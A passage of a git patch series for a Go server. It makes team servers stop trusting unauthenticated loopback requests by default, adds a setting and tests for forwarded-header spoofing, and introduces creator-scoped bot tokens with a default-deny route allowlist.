run by the harness and not by this build", + // The keyless smoke test of the self-hosted organization (deploy/org/smoke.sh) points every model + // call at this scripted server so that nothing is spent and no key is needed. It is a container + // stub, built into its own image from its own module, and the product never runs it. + "deploy/org/modelstub": "the scripted model of the self-hosted organization's keyless smoke test", } // funnelKnownSecondTransports are the files that DO name an endpoint outside From a362f3b462a3b55d945f2997f9f8cc047487c622 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 01:34:55 -0500 Subject: [PATCH 018/176] serve: a team factory does not trust its own computer unless told to A request from 127.0.0.1 with no credential used to act as the factory's owner on every factory, so on a team server any program on the same machine, or any same-machine proxy that did not add a forwarding header, was the owner. The host config now has a `loopback_trust` key (true or false). Unset, it is on for a solo factory, which is one person at one computer, and off for a team factory: a credential-free local request is refused like one from any other machine, and one with a token or a session acts as that identity. A team factory used by one person at one computer can set it to true and gets the old behaviour back. The forwarded-header rule holds whatever the key says: a request carrying X-Forwarded-For, Forwarded, X-Real-Ip or X-Forwarded-Proto (even with an empty value) is not local unless a listed proxy names a loopback client in X-Forwarded-For. Tests cover an unlisted and a listed proxy with a remote client, a Forwarded-only request, X-Real-Ip alone, garbage forwarding headers, and both IPv6 loopback forms. Worker attach keeps its own local door (as it had), so a runner on this machine can still attach before its person signs in. Test fixtures that act as the host's person on a team-mode handler now say so with an explicit LoopbackTrust. Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/factory_command.go | 3 +- cmd/codeaf/factory_command_test.go | 30 ++++++ cmd/codeaf/factory_config.go | 4 + internal/factory/serve/access.go | 9 +- internal/factory/serve/acts_test.go | 2 + internal/factory/serve/device_test.go | 3 +- internal/factory/serve/jobs_v2_test.go | 4 +- internal/factory/serve/loopback_trust_test.go | 94 +++++++++++++++++++ internal/factory/serve/members_test.go | 1 + internal/factory/serve/presence.go | 2 +- internal/factory/serve/proxy.go | 2 +- internal/factory/serve/proxy_test.go | 4 +- internal/factory/serve/serve.go | 4 +- internal/factory/serve/serve_test.go | 4 +- internal/factory/serve/workers.go | 10 ++ 15 files changed, 167 insertions(+), 9 deletions(-) create mode 100644 internal/factory/serve/loopback_trust_test.go diff --git a/cmd/codeaf/factory_command.go b/cmd/codeaf/factory_command.go index 9f15b96a03..edd810fbf4 100644 --- a/cmd/codeaf/factory_command.go +++ b/cmd/codeaf/factory_command.go @@ -294,7 +294,8 @@ func startFactoryService(ctx context.Context, st *store.Store, seam factory.Seam public := secure.publicURL(listener.Addr().String()) jobWrites := factorygithub.JobWrites{Token: func(ctx context.Context) string { t, _ := factorygithub.TokenAt(ctx, home.Dir()); return t }} handlerConfig := serve.Config{ - GitHubToken: jobWrites.Token, + GitHubToken: jobWrites.Token, + LoopbackTrust: host.LoopbackTrust, ProfileDir: home.Dir(), ChangeAssignee: jobWrites.Assign, diff --git a/cmd/codeaf/factory_command_test.go b/cmd/codeaf/factory_command_test.go index d6c78a802b..ba877cdd33 100644 --- a/cmd/codeaf/factory_command_test.go +++ b/cmd/codeaf/factory_command_test.go @@ -212,3 +212,33 @@ func TestFactoryStepsPrintsEveryBuiltInPrompt(t *testing.T) { t.Fatalf("built-ins differ: %s", out.String()) } } + +func TestContractC1FactoryConfigLoopbackTrust(t *testing.T) { + for _, value := range []string{"true", "false", "wrong"} { + t.Run(value, func(t *testing.T) { + path := filepath.Join(t.TempDir(), "config.yaml") + if err := writeFactoryPrivate(path, []byte("loopback_trust: "+value+"\n")); err != nil { + t.Fatal(err) + } + cfg, err := factoryHostConfigAt(path, false) + if value == "wrong" { + if err == nil || !strings.Contains(err.Error(), "bool") { + t.Fatalf("expected a boolean config error, got %v", err) + } + return + } + want := value == "true" + if err != nil || cfg.LoopbackTrust == nil || *cfg.LoopbackTrust != want { + t.Fatalf("setting did not parse: %v, %v", cfg.LoopbackTrust, err) + } + rotated, err := factoryHostConfigAt(path, true) + if err != nil || rotated.AccessToken == cfg.AccessToken { + t.Fatalf("token did not rotate: %v", err) + } + saved, err := readFactoryHostConfig(path) + if err != nil || saved.LoopbackTrust == nil || *saved.LoopbackTrust != want { + t.Fatalf("rotation lost the setting: %v, %v", saved.LoopbackTrust, err) + } + }) + } +} diff --git a/cmd/codeaf/factory_config.go b/cmd/codeaf/factory_config.go index dc25ddb6c6..8a4d94380c 100644 --- a/cmd/codeaf/factory_config.go +++ b/cmd/codeaf/factory_config.go @@ -18,6 +18,7 @@ import ( type factoryHostConfig struct { Mode string `yaml:"mode,omitempty"` + LoopbackTrust *bool `yaml:"loopback_trust,omitempty"` OperatorLogin string `yaml:"operator_login,omitempty"` Name string `yaml:"name,omitempty"` Listen string `yaml:"listen"` @@ -55,6 +56,9 @@ func (cfg factoryHostConfig) MarshalYAML() (any, error) { if cfg.Mode != "" { doc["mode"] = cfg.Mode } + if cfg.LoopbackTrust != nil { + doc["loopback_trust"] = *cfg.LoopbackTrust + } if cfg.OperatorLogin != "" { doc["operator_login"] = cfg.OperatorLogin } diff --git a/internal/factory/serve/access.go b/internal/factory/serve/access.go index 4116d478b4..3d81eb75cc 100644 --- a/internal/factory/serve/access.go +++ b/internal/factory/serve/access.go @@ -92,7 +92,14 @@ func (h *Handler) allowed(r *http.Request) bool { // The app host token is the only person credential on its private listener. func (h *Handler) loopbackOwner(r *http.Request) bool { - return h.config.ServedBy != "app" && loopbackRequest(r) + return h.config.ServedBy != "app" && h.loopbackTrusted() && loopbackRequest(r) +} + +func (h *Handler) loopbackTrusted() bool { + if h.config.LoopbackTrust != nil { + return *h.config.LoopbackTrust + } + return h.mode() == api.FactorySolo } // credential gives explicit credentials precedence over an open loopback peer. diff --git a/internal/factory/serve/acts_test.go b/internal/factory/serve/acts_test.go index 4d4aa1819c..c707e74d23 100644 --- a/internal/factory/serve/acts_test.go +++ b/internal/factory/serve/acts_test.go @@ -199,6 +199,8 @@ func (f *actsFloor) open() { } if f.team { config.Mode = api.FactoryTeam + // These tests act as the host's person on this computer, which a team's default no longer allows. + config.LoopbackTrust = boolPtr(true) } f.h = New(seam, config) f.t.Cleanup(f.h.Close) diff --git a/internal/factory/serve/device_test.go b/internal/factory/serve/device_test.go index 088b2fff9f..09363b12f8 100644 --- a/internal/factory/serve/device_test.go +++ b/internal/factory/serve/device_test.go @@ -353,6 +353,7 @@ func TestDeviceCookieSignInOwnerLoopbackAndAllowlist(t *testing.T) { if me := readIdentity(t, h, "floor-secret", nil); me.Handle != "factory-owner" { t.Fatalf("host = %+v", me) } + h.config.LoopbackTrust = boolPtr(true) r := httptest.NewRequest("GET", "/v1/me", nil) r.RemoteAddr = "127.0.0.1:1234" local := httptest.NewRecorder() @@ -549,7 +550,7 @@ func TestLoopbackStopWithNoGitHubNeverBorrowsTheAssignee(t *testing.T) { func TestCancelledDeviceCodeCannotPollOrCrossCallers(t *testing.T) { g := &fakeGitHub{t: t, login: "priya"} - h := New(factory.Seam{}, Config{GitHubClientID: "client", GitHubHTTPClient: g.client(), AccessToken: "host-token"}) + h := New(factory.Seam{}, Config{GitHubClientID: "client", GitHubHTTPClient: g.client(), AccessToken: "host-token", LoopbackTrust: boolPtr(true)}) defer h.Close() request := func(method, path, token, body string) *httptest.ResponseRecorder { req := httptest.NewRequest(method, path, strings.NewReader(body)) diff --git a/internal/factory/serve/jobs_v2_test.go b/internal/factory/serve/jobs_v2_test.go index e23824e191..008a3710ce 100644 --- a/internal/factory/serve/jobs_v2_test.go +++ b/internal/factory/serve/jobs_v2_test.go @@ -132,7 +132,9 @@ func newV2Jobs(t *testing.T) *v2Jobs { GitHub: func(context.Context) (factory.GitHubLink, error) { return factory.GitHubLink{Login: f.person}, nil }, Launch: doors.Launch, Stop: doors.Stop, Hold: doors.Hold, Answer: doors.Answer, SignOff: doors.SignOff, } - f.cfg = serve.Config{Mode: api.FactoryTeam, Address: config.Address, Version: config.Version, Store: f.st, Record: f.rec, Now: clock, LeaseOptions: lease.Options{Now: clock, Record: f.rec}, + // A team-mode handler whose tests act as the host's person on this computer: the + // loopback setting is on explicitly, because a team's default is off. + f.cfg = serve.Config{Mode: api.FactoryTeam, LoopbackTrust: boolPtr(true), Address: config.Address, Version: config.Version, Store: f.st, Record: f.rec, Now: clock, LeaseOptions: lease.Options{Now: clock, Record: f.rec}, Pipeline: func(context.Context, string, string) (pipeline.File, error) { p := pipeline.Defaults() p.DefaultBudget = 4 diff --git a/internal/factory/serve/loopback_trust_test.go b/internal/factory/serve/loopback_trust_test.go new file mode 100644 index 0000000000..e200b1614c --- /dev/null +++ b/internal/factory/serve/loopback_trust_test.go @@ -0,0 +1,94 @@ +package serve + +import ( + "net/http" + "net/http/httptest" + "net/netip" + "testing" + + "github.com/Agent-Field/codeaf/internal/factory" + "github.com/Agent-Field/codeaf/internal/factory/api" +) + +func boolPtr(value bool) *bool { return &value } + +func TestContractC2AndC3LoopbackTrust(t *testing.T) { + for _, tc := range []struct { + name string + mode string + trust *bool + status int + }{ + {"derived team", "", nil, http.StatusUnauthorized}, + {"team", api.FactoryTeam, nil, http.StatusUnauthorized}, + {"team opt-in", api.FactoryTeam, boolPtr(true), http.StatusOK}, + {"solo", api.FactorySolo, nil, http.StatusOK}, + {"solo opt-out", api.FactorySolo, boolPtr(false), http.StatusUnauthorized}, + } { + t.Run(tc.name, func(t *testing.T) { + const token = "host-secret" + h := New(factory.Seam{}, Config{AccessToken: token, Mode: tc.mode, LoopbackTrust: tc.trust}) + t.Cleanup(h.Close) + request := func(path, credential string, cookie *http.Cookie, status int) *httptest.ResponseRecorder { + t.Helper() + r := httptest.NewRequest(http.MethodGet, path, nil) + r.RemoteAddr = "127.0.0.1:1234" + if credential != "" { + r.Header.Set("Authorization", "Bearer "+credential) + } + if cookie != nil { + r.AddCookie(cookie) + } + w := httptest.NewRecorder() + h.ServeHTTP(w, r) + if w.Code != status { + t.Fatalf("%s: got %d, want %d. %s", path, w.Code, status, w.Body) + } + return w + } + request("/v1/about", "", nil, http.StatusOK) + request("/access", "", nil, http.StatusOK) + request("/v1/me", "", nil, tc.status) + request("/v1/me", token, nil, http.StatusOK) + signIn := request("/access?token="+token, "", nil, http.StatusSeeOther) + request("/v1/me", "", signIn.Result().Cookies()[0], http.StatusOK) + }) + } +} + +func TestContractC4ForwardedLoopbackTrust(t *testing.T) { + const ipv4 = "127.0.0.1:1234" + for _, tc := range []struct { + name, peer, header, value string + trusted bool + status int + }{ + {"unlisted proxy", ipv4, "X-Forwarded-For", "203.0.113.9", false, 401}, + {"listed proxy remote", ipv4, "X-Forwarded-For", "203.0.113.9", true, 401}, + {"Forwarded", ipv4, "Forwarded", "for=203.0.113.9", true, 401}, + {"X-Real-Ip", ipv4, "X-Real-Ip", "203.0.113.9", true, 401}, + {"X-Forwarded-Proto", ipv4, "X-Forwarded-Proto", "https", true, 401}, + {"garbage", ipv4, "X-Forwarded-For", "garbage", true, 401}, + {"empty header", ipv4, "X-Forwarded-For", "", true, 401}, + {"IPv6 peer", "[::1]:1234", "X-Forwarded-For", "203.0.113.9", false, 401}, + {"mapped peer", "[::ffff:127.0.0.1]:1234", "X-Forwarded-For", "203.0.113.9", false, 401}, + {"listed proxy local", ipv4, "X-Forwarded-For", "127.0.0.1", true, 200}, + } { + t.Run(tc.name, func(t *testing.T) { + cfg := Config{Mode: api.FactoryTeam, LoopbackTrust: boolPtr(true)} + if tc.trusted { + cfg.TrustedProxies = []netip.Prefix{netip.MustParsePrefix("127.0.0.1/32")} + } + h := New(factory.Seam{}, cfg) + t.Cleanup(h.Close) + r := httptest.NewRequest(http.MethodGet, "/v1/me", nil) + r.RemoteAddr = tc.peer + r.Header.Set(tc.header, tc.value) + w := httptest.NewRecorder() + h.ServeHTTP(w, r) + if w.Code != tc.status { + t.Fatalf("got %d, want %d. %s", w.Code, tc.status, w.Body) + } + }) + } +} diff --git a/internal/factory/serve/members_test.go b/internal/factory/serve/members_test.go index fefc3e7431..0840665445 100644 --- a/internal/factory/serve/members_test.go +++ b/internal/factory/serve/members_test.go @@ -114,6 +114,7 @@ func TestTwoViewersSeeDifferentQueuesAndCounts(t *testing.T) { "raj": {"acme/web": true}, "mina": {}, }) + h.config.LoopbackTrust = boolPtr(true) ctx := context.Background() if _, err := h.config.Record.Append(ctx, record.Event{Kind: record.Took, Job: 1, Handle: "priya", Detail: "api-secret-detail"}); err != nil { t.Fatal(err) diff --git a/internal/factory/serve/presence.go b/internal/factory/serve/presence.go index 8e1e8f2a19..cf8d0610db 100644 --- a/internal/factory/serve/presence.go +++ b/internal/factory/serve/presence.go @@ -329,7 +329,7 @@ func (h *Handler) machineViewer(r *http.Request) string { // attached under factory.LocalRunnerHandle (workers.go), so the person on // this machine, who has no forge login either, sees the machines as that // name. Without it the Computers list was empty while jobs ran. - if handle == "" && h.mode() == api.FactorySolo && (loopbackRequest(r) || h.isOperator(r)) { + if handle == "" && h.mode() == api.FactorySolo && (h.loopbackOwner(r) || h.isOperator(r)) { handle = factory.LocalRunnerHandle } return factory.NormalizeHandle(handle) diff --git a/internal/factory/serve/proxy.go b/internal/factory/serve/proxy.go index 8a9db5c4ef..99776bdc13 100644 --- a/internal/factory/serve/proxy.go +++ b/internal/factory/serve/proxy.go @@ -72,7 +72,7 @@ func resolveClient(r *http.Request, trusted []netip.Prefix) client { } } for _, name := range forwardingHeaders { - if r.Header.Get(name) != "" { + if len(r.Header.Values(name)) != 0 { c.forwarded = true break } diff --git a/internal/factory/serve/proxy_test.go b/internal/factory/serve/proxy_test.go index ac96691b3a..d1f95e892a 100644 --- a/internal/factory/serve/proxy_test.go +++ b/internal/factory/serve/proxy_test.go @@ -63,7 +63,9 @@ func TestForwardedHeadersAreBelievedOnlyFromTrustedProxies(t *testing.T) { // A PROXY ON THIS MACHINE THAT NOBODY LISTED MUST NOT OPEN THE FLOOR. Its // requests arrive from loopback, which alone would be the open local grant. func TestAnUnlistedLocalProxyDoesNotOpenTheLoopbackFloor(t *testing.T) { - h := New(factory.FixtureSeam(time.Now()), Config{AccessToken: "test-secret"}) + // The proxy rule holds whatever the loopback knob says; this table is about a + // host that trusts its own computer, so the knob is on. + h := New(factory.FixtureSeam(time.Now()), Config{AccessToken: "test-secret", LoopbackTrust: boolPtr(true)}) defer h.Close() for _, tc := range []struct { name string diff --git a/internal/factory/serve/serve.go b/internal/factory/serve/serve.go index d3da5159ea..70e3d74c84 100644 --- a/internal/factory/serve/serve.go +++ b/internal/factory/serve/serve.go @@ -84,6 +84,8 @@ type Config struct { // Mode is solo or team; an unset mode follows the host access configuration. Mode string + // LoopbackTrust is optional because solo hosts and team hosts have different defaults. + LoopbackTrust *bool // DefaultModel answers the model a job's steps run on when it names none, // for the queue's `model`. Nil when this factory does not know it: a // runner elsewhere decides with its own settings. @@ -561,7 +563,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { if !ok { return } - } else if r.URL.Path != "/access" && r.URL.Path != "/v1/factory-access" && r.URL.Path != "/v1/about" && r.URL.Path != "/v1/auth/password" && !passkeyOpenPath(r.URL.Path) && !h.allowed(r) { + } else if r.URL.Path != "/access" && r.URL.Path != "/v1/factory-access" && r.URL.Path != "/v1/about" && r.URL.Path != "/v1/auth/password" && !passkeyOpenPath(r.URL.Path) && !h.allowed(r) && !h.localWorkerAttach(r) { if h.authFailed(w, r) { return } diff --git a/internal/factory/serve/serve_test.go b/internal/factory/serve/serve_test.go index 619e767b15..b7e2962f3f 100644 --- a/internal/factory/serve/serve_test.go +++ b/internal/factory/serve/serve_test.go @@ -21,7 +21,9 @@ import ( ) var now = time.Date(2026, 10, 11, 12, 0, 0, 0, time.UTC) -var config = serve.Config{Address: "http://127.0.0.1:7420", Version: "test", AccessToken: "floor-secret", PollingEvery: time.Minute} +var config = serve.Config{Address: "http://127.0.0.1:7420", Version: "test", AccessToken: "floor-secret", LoopbackTrust: boolPtr(true), PollingEvery: time.Minute} + +func boolPtr(value bool) *bool { return &value } func TestFixtureReadsOverHTTP(t *testing.T) { fixtureConfig := config diff --git a/internal/factory/serve/workers.go b/internal/factory/serve/workers.go index 8509779143..5a9fbc3be8 100644 --- a/internal/factory/serve/workers.go +++ b/internal/factory/serve/workers.go @@ -138,6 +138,16 @@ func workerPath(path string) bool { strings.HasPrefix(path, "/v1/runners/leases/") || strings.HasPrefix(path, "/v1/runners/recover/") || path == "/v1/runners/pull" || path == "/v1/runners/presence" || path == "/v1/runner/self" } +// Local runner registration keeps its own door because a runner on this machine +// can attach before its person signs in. +func (h *Handler) localWorkerAttach(r *http.Request) bool { + if h.config.ServedBy == "app" || (r.URL.Path != "/v1/workers/attach" && r.URL.Path != "/v1/runners/attach") || bearer(r) != "" { + return false + } + _, cookieErr := r.Cookie(accessCookieName) + return cookieErr != nil && loopbackRequest(r) +} + func bearer(r *http.Request) string { values := r.Header.Values("Authorization") if len(values) != 1 { From dd772d3fab7f0f1ee735bc431469c0e461850734 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 01:35:07 -0500 Subject: [PATCH 019/176] serve: bots, named identities with a token and never more rights than their creator A person can make a bot (a name and, optionally, a narrower role) and gets its `cbt_` token once, in that answer. The store keeps the sha256 of the token with an eight-character hint and a last-used time, at most three live tokens per bot and twenty bots per person. A request with a bot token acts as the bot: the creator's verbs on the item right now, intersected with the organization policy's scope for `bot:` and with the role the person gave the bot, through the same on-behalf-of evaluator Afi uses, with the creator as sponsor. Nothing is cached, so a creator who loses a share takes it from the bot on its next request, and a role that is later deleted means no verbs. What a bot creates is owned by its creator and recorded as created by the bot (kind `bot`, its id, the creator as sponsor); a chat it makes is private like any other chat. Revoking a token, removing a bot, or the operator removing the creator from the organization ends the credential on the next request with words that say which; an unrecognised `cbt_` token is a 401 and never falls through to loopback or the host's identity, and a bot token beside a session cookie is refused. Bots are default-deny. A bot reaches workstreams and what is under them (except the agent door, requests, drivers, jobs and imports), canvases, resources, My space, and the policy, member, team and about reads. Everything else answers "a bot cannot use this yet", and a bot cannot start an agent run. A bot cannot make bots, mint or revoke tokens, or use the operator's routes. A person lists, mints for, revokes and removes only their own bots; the operator lists every bot and may remove any, but cannot mint a token for another person's bot. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/acl/acl.go | 4 +- internal/factory/acl/bot_scope_test.go | 33 ++ internal/factory/api/bots.go | 32 ++ internal/factory/serve/access.go | 10 +- internal/factory/serve/access_links.go | 2 +- internal/factory/serve/access_resources.go | 3 + internal/factory/serve/bots.go | 366 ++++++++++++++ internal/factory/serve/bots_test.go | 458 ++++++++++++++++++ internal/factory/serve/canvases.go | 4 + internal/factory/serve/device.go | 2 +- internal/factory/serve/idempotency.go | 5 +- internal/factory/serve/item_access.go | 8 +- internal/factory/serve/myspace.go | 21 +- internal/factory/serve/org_record.go | 12 +- internal/factory/serve/org_repos.go | 2 +- internal/factory/serve/people_v2.go | 19 +- internal/factory/serve/serve.go | 22 +- internal/factory/serve/visibility.go | 6 + .../factory/serve/workstream_agent_work.go | 8 + .../factory/serve/workstream_page_comments.go | 2 +- .../serve/workstream_task_autostart.go | 3 +- .../factory/serve/workstream_task_wake.go | 14 +- internal/factory/serve/workstream_tasks.go | 22 +- internal/factory/store/bots.go | 367 ++++++++++++++ internal/factory/store/grants.go | 2 +- 25 files changed, 1394 insertions(+), 33 deletions(-) create mode 100644 internal/factory/acl/bot_scope_test.go create mode 100644 internal/factory/api/bots.go create mode 100644 internal/factory/serve/bots.go create mode 100644 internal/factory/serve/bots_test.go create mode 100644 internal/factory/store/bots.go diff --git a/internal/factory/acl/acl.go b/internal/factory/acl/acl.go index 03e9d5169b..0c63db7ff2 100644 --- a/internal/factory/acl/acl.go +++ b/internal/factory/acl/acl.go @@ -69,6 +69,8 @@ type Caller struct { // Agent names a server-run agent and the person who sponsors it. type Agent struct { ID, Sponsor string + // Only is a further limit. An empty non-nil slice grants no verbs. + Only []string } // Share is a legacy share, as it sits on a workstream or canvas document: a @@ -206,7 +208,7 @@ func (p Policy) verbs(c Caller, held map[string]bool) VerbSet { if c.Agent != nil { scope := p.scope(c) for verb := range verbs { - if !slices.Contains(scope.Verbs, verb) { + if !slices.Contains(scope.Verbs, verb) || (c.Agent.Only != nil && !slices.Contains(c.Agent.Only, verb)) { delete(verbs, verb) } } diff --git a/internal/factory/acl/bot_scope_test.go b/internal/factory/acl/bot_scope_test.go new file mode 100644 index 0000000000..c9cd27f219 --- /dev/null +++ b/internal/factory/acl/bot_scope_test.go @@ -0,0 +1,33 @@ +package acl + +import ( + "slices" + "testing" + "time" +) + +func TestContractC6bOnlyNarrowsTheCurrentAgentAndSponsorVerbs(t *testing.T) { + p := DefaultPolicy() + p.Agents.Scopes = map[string]string{"bot:bt_example": "edit"} + item := Item{OwnerKind: "person", OwnerID: "sponsor"} + caller := Caller{Handle: "sponsor", Member: true, Agent: &Agent{ID: "bot:bt_example", Sponsor: "sponsor"}} + caller.Agent.Only = []string{VerbView, VerbShare} + if got := p.Verbs(caller, item, time.Time{}).List(); !slices.Equal(got, []string{VerbView}) { + t.Fatalf("verbs = %v, want view", got) + } + if got := p.RoleOf(caller, item, time.Time{}); got != "view" { + t.Fatalf("role = %q, want view", got) + } + caller.Agent.Only = []string{} + if got := p.RoleOf(caller, item, time.Time{}); got != "" { + t.Fatalf("role = %q for an empty limit", got) + } + caller.Agent.Only = nil + if !p.Allowed(caller, item, VerbEdit, time.Time{}) { + t.Fatal("unspecified limit removed the existing edit permission") + } + item.OwnerID = "another-person" + if got := p.Verbs(caller, item, time.Time{}).List(); len(got) != 0 { + t.Fatalf("verbs = %v after the sponsor loses access", got) + } +} diff --git a/internal/factory/api/bots.go b/internal/factory/api/bots.go new file mode 100644 index 0000000000..ede3e711eb --- /dev/null +++ b/internal/factory/api/bots.go @@ -0,0 +1,32 @@ +package api + +import "github.com/Agent-Field/codeaf/internal/factory/store" + +// BotList shows metadata so people can manage tokens without seeing their secrets. +type BotList struct { + Bots []store.Bot `json:"bots"` +} + +type BotNew struct { + Name string `json:"name"` + Scope string `json:"scope,omitempty"` +} + +type BotCreated struct { + Bot store.Bot `json:"bot"` + Token string `json:"token"` +} + +type BotTokenNew struct { + Label string `json:"label,omitempty"` + ExpiresAt string `json:"expires_at,omitempty"` +} + +type BotTokenCreated struct { + ID string `json:"token_id"` + Token string `json:"token"` + Hint string `json:"hint"` + Label string `json:"label"` + CreatedAt string `json:"created_at"` + ExpiresAt *string `json:"expires_at,omitempty"` +} diff --git a/internal/factory/serve/access.go b/internal/factory/serve/access.go index 3d81eb75cc..0fd17632ee 100644 --- a/internal/factory/serve/access.go +++ b/internal/factory/serve/access.go @@ -77,6 +77,9 @@ func (h *Handler) now() time.Time { } func (h *Handler) allowed(r *http.Request) bool { + if isBotCall(r) { + return true + } if _, ok := h.credential(r); ok { return true } @@ -104,6 +107,9 @@ func (h *Handler) loopbackTrusted() bool { // credential gives explicit credentials precedence over an open loopback peer. func (h *Handler) credential(r *http.Request) (accessSession, bool) { + if isBotCall(r) { + return accessSession{}, false + } if token := bearer(r); token != "" { if id, ok := h.identifyToken(token); ok { session := accessSession{tokenID: id, id: id} @@ -275,7 +281,7 @@ func (h *Handler) sameSecret(secret string, got [sha256.Size]byte) bool { // floorToken is the host config secret. Other access-token rows do not get // this door: revoking every session stays with the host. func (h *Handler) floorToken(token string) bool { - if token == "" { + if token == "" || strings.HasPrefix(token, botTokenPrefix) { return false } got := sha256.Sum256([]byte(token)) @@ -460,7 +466,7 @@ func (h *Handler) revokeSessions(w http.ResponseWriter, r *http.Request) { return } for handle := range handles { - if h.failed(w, h.revokePerson(r, handle)) { + if h.failed(w, h.revokePerson(handle, false)) { return } } diff --git a/internal/factory/serve/access_links.go b/internal/factory/serve/access_links.go index 983fde20b8..e79377efd7 100644 --- a/internal/factory/serve/access_links.go +++ b/internal/factory/serve/access_links.go @@ -181,7 +181,7 @@ func (h *Handler) revokeAccessLink(w http.ResponseWriter, r *http.Request) { // including their runners. if !revoked.Counted() { for _, member := range revoked.Members() { - if h.failed(w, h.revokePerson(r, member.Profile.Handle)) { + if h.failed(w, h.revokePerson(member.Profile.Handle, true)) { return } if h.failed(w, h.leaveEveryTeam(r, member.Profile.Handle)) { diff --git a/internal/factory/serve/access_resources.go b/internal/factory/serve/access_resources.go index 933e04344c..ca28ac3ee6 100644 --- a/internal/factory/serve/access_resources.go +++ b/internal/factory/serve/access_resources.go @@ -299,6 +299,9 @@ func (h *Handler) listAccessResources(w http.ResponseWriter, r *http.Request) { // sponsor when an agent acted, else the person. func accessPrincipal(v Viewer) acl.Principal { if v.Agent != nil { + if id, bot := strings.CutPrefix(v.Agent.ID, botAgentPrefix); bot { + return acl.Principal{Kind: "bot", ID: id, Sponsor: v.Agent.Sponsor} + } return acl.Principal{Kind: "agent", ID: v.Agent.ID, Sponsor: v.Agent.Sponsor} } return acl.Principal{Kind: "person", ID: v.Handle} diff --git a/internal/factory/serve/bots.go b/internal/factory/serve/bots.go new file mode 100644 index 0000000000..a89b87f87a --- /dev/null +++ b/internal/factory/serve/bots.go @@ -0,0 +1,366 @@ +package serve + +import ( + "context" + "crypto/rand" + "encoding/base64" + "errors" + "net/http" + "slices" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/factory" + "github.com/Agent-Field/codeaf/internal/factory/api" + "github.com/Agent-Field/codeaf/internal/factory/record" + "github.com/Agent-Field/codeaf/internal/factory/store" +) + +const ( + botTokenPrefix = "cbt_" + botAgentPrefix = "bot:" + botIDPrefix = "bt_" + botTokenIDPrefix = "btk_" + botTokenBytes = 32 + botTokenHintSize = 8 + botNameMost = 60 + botsPath = "/v1/bots" + botRouteRefused = "a bot cannot use this yet" + botRunRefused = "a bot cannot start an agent run yet" +) + +func (h *Handler) botRoutes() { + h.route(botsPath, map[string]http.HandlerFunc{http.MethodGet: h.listBots, http.MethodPost: h.createBot}) + h.route(botsPath+"/{bot}/tokens", map[string]http.HandlerFunc{http.MethodPost: h.createBotToken}) + h.route(botsPath+"/{bot}/tokens/{token}", map[string]http.HandlerFunc{http.MethodDelete: h.revokeBotToken}) + h.route(botsPath+"/{bot}", map[string]http.HandlerFunc{http.MethodDelete: h.removeBot}) +} + +func isBotCall(r *http.Request) bool { + call, _ := agentCallOf(r) + return call.bot != "" +} + +// The allowlist admits only routes whose item decisions go through the +// evaluator and organization metadata that does not rely on acting as a person. +var botRoutes = []struct { + path string + under bool + readOnly bool +}{ + {path: "/v1/workstreams", under: true}, + {path: "/v1/canvases", under: true}, + {path: "/v1/resources", under: true}, + {path: "/v1/myspace", readOnly: true}, + {path: "/v1/org/policy", readOnly: true}, + {path: "/v1/members", readOnly: true}, + {path: "/v1/teams", readOnly: true}, + {path: "/v1/about", readOnly: true}, +} + +func botRouteRefusal(r *http.Request) string { + path := r.URL.Path + if rest, ok := strings.CutPrefix(path, "/v1/workstreams/"); ok { + _, subpath, _ := strings.Cut(rest, "/") + if slices.Contains(strings.Split(subpath, "/"), "agent") { + return botRunRefused + } + // The request and driver doors can act as a person without the item + // evaluator. Import can also replace an earlier import by that person. + first, tail, _ := strings.Cut(subpath, "/") + if rest == "requestable" || rest == "import" || first == "requests" || first == "driver" || first == "jobs" { + return botRouteRefused + } + if r.Method != http.MethodGet && first == "tasks" { + task, _, _ := strings.Cut(tail, "/") + if _, job := factory.IsJobTask(task); job { + return botRouteRefused + } + } + if r.Method != http.MethodGet && (first == "orders" || strings.HasSuffix(subpath, "/work/messages")) { + return botRunRefused + } + } + // A new root workstream and a canvas import have no item permission check. + if (path == "/v1/workstreams" && r.Method != http.MethodGet) || path == "/v1/canvases/import" { + return botRouteRefused + } + for _, route := range botRoutes { + if (path == route.path || route.under && strings.HasPrefix(path, route.path+"/")) && + (!route.readOnly || r.Method == http.MethodGet) { + return "" + } + } + return botRouteRefused +} + +// withBot authenticates a bot before any person door. A refused bot credential +// ends the request because neither loopback nor a person credential can cover it. +func (h *Handler) withBot(w http.ResponseWriter, r *http.Request, secret string) (*http.Request, bool) { + if _, err := r.Cookie(accessCookieName); err == nil { + h.fail(w, http.StatusBadRequest, "send one credential") + return r, false + } + if h.config.ServedBy == "app" { + w.Header().Set("WWW-Authenticate", `Bearer realm="factory"`) + h.fail(w, http.StatusUnauthorized, "the app bearer token is required") + return r, false + } + now := h.now() + state := store.BotTokenUnknown + var bot store.Bot + var token store.BotToken + if h.config.Store != nil { + var err error + bot, token, state, err = h.config.Store.FindBotToken(sessionHash(secret), now) + if h.failed(w, err) { + return r, false + } + } + if state != store.BotTokenLive { + h.refuseBot(w, state) + return r, false + } + if !h.teamAllows(bot.Creator) { + h.fail(w, http.StatusForbidden, teamHandleRefusal) + return r, false + } + if words := botRouteRefusal(r); words != "" { + h.fail(w, http.StatusForbidden, words) + return r, false + } + var only []string + if bot.Scope != "" { + policy, err := h.config.Store.OrgPolicy() + if h.failed(w, err) { + return r, false + } + role, _ := policy.Role(bot.Scope) + only = append([]string{}, role.Verbs...) + } + lastUsed := time.Time{} + if token.LastUsedAt != nil { + lastUsed, _ = time.Parse(time.RFC3339Nano, *token.LastUsedAt) + } + if token.LastUsedAt == nil || now.Sub(lastUsed) >= time.Minute { + if h.failed(w, h.config.Store.TouchBotToken(token.ID, now)) { + return r, false + } + } + agent := botAgentPrefix + bot.ID + call := agentCall{handle: bot.Creator, agent: agent, bot: bot.ID, only: only, + by: factory.TaskEventBy{Kind: factory.TaskByAgent, ID: agent, Name: bot.Name}} + return r.WithContext(context.WithValue(r.Context(), agentCallKey{}, call)), true +} + +func (h *Handler) refuseBot(w http.ResponseWriter, state store.BotTokenState) { + words := "that bot token is not recognized" + switch state { + case store.BotTokenRevoked: + words = "that bot token was revoked" + case store.BotTokenExpired: + words = "that bot token has expired" + case 